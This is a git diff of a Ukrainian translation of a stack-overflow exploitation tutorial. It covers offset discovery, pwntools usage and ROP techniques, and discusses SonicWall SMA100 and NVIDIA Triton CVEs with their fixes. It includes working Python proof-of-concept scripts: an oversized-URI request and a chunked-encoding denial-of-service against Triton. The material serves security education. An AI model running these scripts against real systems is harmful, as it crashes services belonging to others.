Translated ['src/binary-exploitation/stack-overflow/README.md'] to uk

This commit is contained in:
Translator 2025-08-20 02:45:14 +00:00
parent 98cbb07b57
commit 923f070a89

View File

@ -4,7 +4,7 @@
## Що таке Stack Overflow
**Stack overflow** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
**Stack overflow** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезапишуть сусідній простір пам'яті**, що призведе до пошкодження дійсних даних, порушення контролю потоку виконання та потенційно до виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Знаходження зсувів стекових переповнень
### Знаходження зсувів Stack Overflow
Найпоширеніший спосіб знайти стекові переповнення - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
Найпоширеніший спосіб знайти зсуви стеку - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
Більше того, як тільки ви виявите, що існує вразливість стекового переповнення, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини _n_ з'являється точно один раз** як безперервна підпослідовність.
Більше того, як тільки ви виявите, що існує вразливість Stack Overflow, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини _n_ з'являється точно один раз** як безперервна підпослідовність.
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом.
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом його.
Для цього можна використовувати **pwntools**:
Можна використовувати **pwntools** для цього:
```python
from pwn import *
@ -51,7 +51,7 @@ pattern search $rsp #Search the offset given the content of $rsp
## Використання переповнень стеку
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** в цьому вказівнику.
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** у цьому вказівнику.
Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... техніки
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчать виконання довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчаться виконанням довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
{{#ref}}
../rop-return-oriented-programing/
@ -97,7 +97,8 @@ stack-shellcode/
### Приклад з реального світу: CVE-2025-40596 (SonicWall SMA100)
Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SonicWalls SMA100 SSL-VPN пристрої. Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`:
Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SSL-VPN пристрої SonicWall SMA100.
Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
@ -115,12 +116,71 @@ warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Навіть якщо стекові канарки переривають процес, зловмисник все ще отримує **Denial-of-Service** примітив (і, з додатковими витоками інформації, можливо, виконання коду). Урок простий:
Навіть якщо стекові канарейки переривають процес, зловмисник все ще отримує **Denial-of-Service** примітив (і, з додатковими витоками інформації, можливо, виконання коду). Урок простий:
* Завжди вказуйте **максимальну ширину поля** (наприклад, `%511s`).
* Завжди надавайте **максимальну ширину поля** (наприклад, `%511s`).
* Віддавайте перевагу більш безпечним альтернативам, таким як `snprintf`/`strncpy_s`.
## References
### Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA Triton Inference Server (≤ v25.06) містив кілька **переповнень стеку**, доступних через його HTTP API. Уразливий шаблон неодноразово з'являвся в `http_server.cc` та `sagemaker_server.cc`:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) повертає **кількість внутрішніх сегментів буфера**, які складають тіло поточного HTTP запиту.
2. Кожен сегмент викликає виділення **16-байтового** `evbuffer_iovec` на **стеку** через `alloca()` **без будь-якого верхнього обмеження**.
3. Зловживаючи **HTTP _chunked transfer-encoding_**, клієнт може змусити запит бути розділеним на **сотні тисяч 6-байтових частин** (`"1\r\nA\r\n"`). Це призводить до того, що `n` зростає без обмежень, поки стек не вичерпається.
#### Доказ концепції (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
A ~3 MB запит достатньо, щоб перезаписати збережену адресу повернення та **викликати збій** демона на стандартній збірці.
#### Патч та пом'якшення
Випуск 25.07 замінює небезпечне виділення стеку на **вектор `std::vector`, що підтримується купою** та коректно обробляє `std::bad_alloc`:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Уроки, які ми засвоїли:
* Ніколи не викликайте `alloca()` з розмірами, контрольованими атакуючим.
* Пакетні запити можуть суттєво змінити форму буферів на стороні сервера.
* Перевіряйте / обмежуйте будь-яке значення, отримане з клієнтського вводу, *перед* використанням його в алокаціях пам'яті.
## Посилання
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
{{#include ../../banners/hacktricks-training.md}}